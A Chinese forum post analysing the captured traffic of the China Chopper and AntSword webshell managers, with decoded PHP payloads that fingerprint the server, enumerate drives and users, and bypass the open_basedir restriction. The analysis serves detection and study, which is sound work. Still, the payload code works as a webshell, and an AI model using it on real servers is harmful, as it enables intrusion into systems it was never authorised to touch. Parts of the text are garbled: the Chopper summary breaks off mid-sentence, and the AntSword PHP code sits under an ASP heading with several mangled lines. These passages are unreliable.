Webshell流量分析之菜刀Chopper&蚁剑AntSword

打印 上一主题 下一主题

主题 840|帖子 840|积分 2520

目录

菜刀和蚁剑的一句话木马的流量都有一个特点,都没有加密的,使用wireshark抓包来分析。
中国菜刀

中国菜刀是一款经典的webshell管理工具,具有文件管理、数据库管理、假造终端等功能。这里以菜刀2016为例。
在服务器预备php一句话木马:
Wireshark把80端口的数据包过滤出来,然后举行TCP流追踪:

POST数据包中密码pass的内容:
  1. pass = array_map(
  2.     "ass"."ert",
  3.     array("ev"."Al("\\\$xx%3D\\"Ba"."SE6"."4_dEc"."OdE\\";@ev"."al
  4. (\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));");"
  5.    )
  6. );
复制代码
来分析这段php代码:
array_map 这是php中的一个数组函数,它将一个函数作用到给定数组的每个元素上,并返回一个新的数组。
"ass"."ert" 这个字符串拼接的结果是"assert",执行一个字符串作为php代码。
因此,array_map将 "assert"函数作用到背面的数组的每个元素上。
array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev".(\\\$xx(''));\"); 这个字符串经过拼接后就是 @eval("\$xx=\"BASE64_dEcodE\";@eval(\"\\\$xx(''));\");
在php中,当在一个表达式之前加上@时,任何产生的错误信息都将被忽略。
eval函数中明显是一个Base64编码的Payload,解码以后:
  1. //display_errors设为0,php不会显示错误信息
  2. @ini_set("display_errors","0");
  3. //设置脚本的最大执行时间为无限制
  4. @set_time_limit(0);  
  5. if (PHP_VERSION < '5.3.0') {
  6.     //如果php版本低于5.3.0则关闭magic_quotes_runtime确保兼容性
  7.     @set_magic_quotes_runtime(0);  
  8. };
  9. echo("X@Y");
  10. //获取当前文件所在目录的路径
  11. $D = dirname(__FILE__);  
  12. $R = "{$D}\t";
  13. //如果当前路径的第一字符不是 / 则表明是 Windows环境
  14. if (substr($D, 0, 1) != "/") {  
  15.     //循环遍历从A到Z的所有字母,查找其中哪个是有效的驱动器(盘符),并将它们加到$R中
  16.     foreach(range("A", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
  17. }
  18. $R. = "\t";
  19. //检查是否存在posix_getegid函数,是否运行在支持POSIX的系统,如果支持,则获取当前有效用户的用户信息,否则返回空
  20. $u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
  21. //获取当前php的运行用户
  22. $usr = ($u) ? $u['name'] : @get_current_user();
  23. //添加操作系统相关信息
  24. $R. = php_uname();  
  25. $R. = "({$usr})";
  26. print $R;;
  27. echo("X@Y");
  28. //结束脚本执行
  29. die();  
复制代码
总结:

2016版本菜刀相较于2011-2014版本菜刀,最大的改变就是将特性举行打断混淆,eval函数或assert函数用于执行传递攻击的payload,base64_decode函数解码传输的数据。而响应包在->| | getMessage();}asoutput();die();HT[/code]相较于菜刀的改进之处在于,可以通过修改open_basedir配置项来尝试绕过的安全配置的限制。
当选择编/解码器选着base64时,就是将上面的这段php代码进过base64编码再经过URL编码(下图蓝色选中部分)后赋给一个随机串。然后将这个随机串的值通过POST方法传入eval函数再base64解码,通过eval函数执行后末了传给pass。

剩余的4种编码器:

  • chr编码器:对payload的所有字符都利用利用chr函数举行转换。
  • chr16编码器:对payload的所有字符都利用chr函数转换,但是对chr函数传递的参数是十六进制。
  • rot13编码器:对payload中的字母举行rot13转换。
  • rspphp编码器:需要配置生成RSA生成公钥、私钥。
剩余的一种解码器:

  • rot13解码器:将收到的数据举行rot13转换,由于英文字母一共26个所以置换两次之后会还原。
接下来看看asp和jsp的payload:
asp的默认编码器:

对POST的密码pass举行一个URL解码:
  1. pass = @ini_set("display_errors", "0");
  2. @set_time_limit(0);
  3. //获取php的open_basedir配置项的值
  4. $opdir = @ini_get("open_basedir");
  5. if ($opdir) {
  6.     //获取当前脚本文件的路径
  7.     $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
  8.     //使用base64解码后的字符串进行分割操作
  9.     $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
  10.     //将当前脚本路径和系统临时目录添加到$oparr数组中
  11.     @array_push($oparr, $ocwd, sys_get_temp_dir());
  12.     foreach($oparr as $item) {
  13.         if (!@is_writable($item)) {
  14.             continue;
  15.         };
  16.         //构建临时目录路径,959eddc56d0f是一个随机字符串
  17.         $tmdir = $item."/".959eddc56d0f;
  18.         @mkdir($tmdir);
  19.         if (!@file_exists($tmdir)) {
  20.             continue;
  21.         }
  22.         //获取临时目录的真实路径
  23.         $tmdir = realpath($tmdir);
  24.         @chdir($tmdir);
  25.         //修改open_basedir的配置为父目录
  26.         @ini_set("open_basedir", "..");
  27.         //使用正则表达式分割临时目录路径
  28.         $cntarr = @preg_split("/\\\\\\\\|\\//", $tmdir);
  29.         //循环返回上级目录
  30.         for ($i = 0; $i < sizeof($cntarr); $i++) {
  31.             @chdir("..");
  32.         };
  33.         //将open_basedir配置项恢复为根目录
  34.         @ini_set("open_basedir", "/");
  35.         @rmdir($tmdir);
  36.         break;
  37.     };
  38. };
  39. function asenc($out) {
  40.     return $out;
  41. };
  42. //定义一个函数asoutput,用于输出结果
  43. function asoutput() {
  44.     $output = ob_get_contents();
  45.     ob_end_clean();
  46.     echo "bb"."bf3";
  47.     echo @asenc($output);
  48.     echo "8f0"."909";
  49. }
  50. //启动输出缓冲
  51. ob_start();
  52. try {
  53.     $D = dirname($_SERVER["SCRIPT_FILENAME"]);
  54.     if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
  55.     //一下和菜刀类似,获取盘符,用户信息,系统信息
  56.     $R = "{$D}  ";
  57.     if (substr($D, 0, 1) != "/") {
  58.         foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
  59.     } else {
  60.         $R. = "/";
  61.     }
  62.     $R. = "   ";
  63.     $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
  64.     $s = ($u) ? $u["name"] : @get_current_user();
  65.     $R. = php_uname();
  66.     $R. = "  {$s}";
  67.     echo $R;
  68. } catch (Exception $e) {
  69.     echo "ERROR://".$e - > getMessage();
  70. }
  71. asoutput();
  72. die();
  73. HT
复制代码
主体就是通过 eval 执行构建好的字符串。
此中设置 Server.ScriptTimeout=3600 使脚本运行时间过长也不会触发超时错误。此外 On Error Resume Next 使错误不会中断脚本的执行。
界说了一个名为 bd 的函数,用于将字符串解码为 ASCII 字符。
jsp的默认编码器:

jsp的payload默认编码过后的,尝试URL解码+Base64解码没有成功。
蚁剑总结:

  • php 使用 assert 和 eval 执行
  • asp 只使用 eval 执行
  • jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特性
若有错误,欢迎指正!o( ̄▽ ̄)ブ

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

涛声依旧在

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表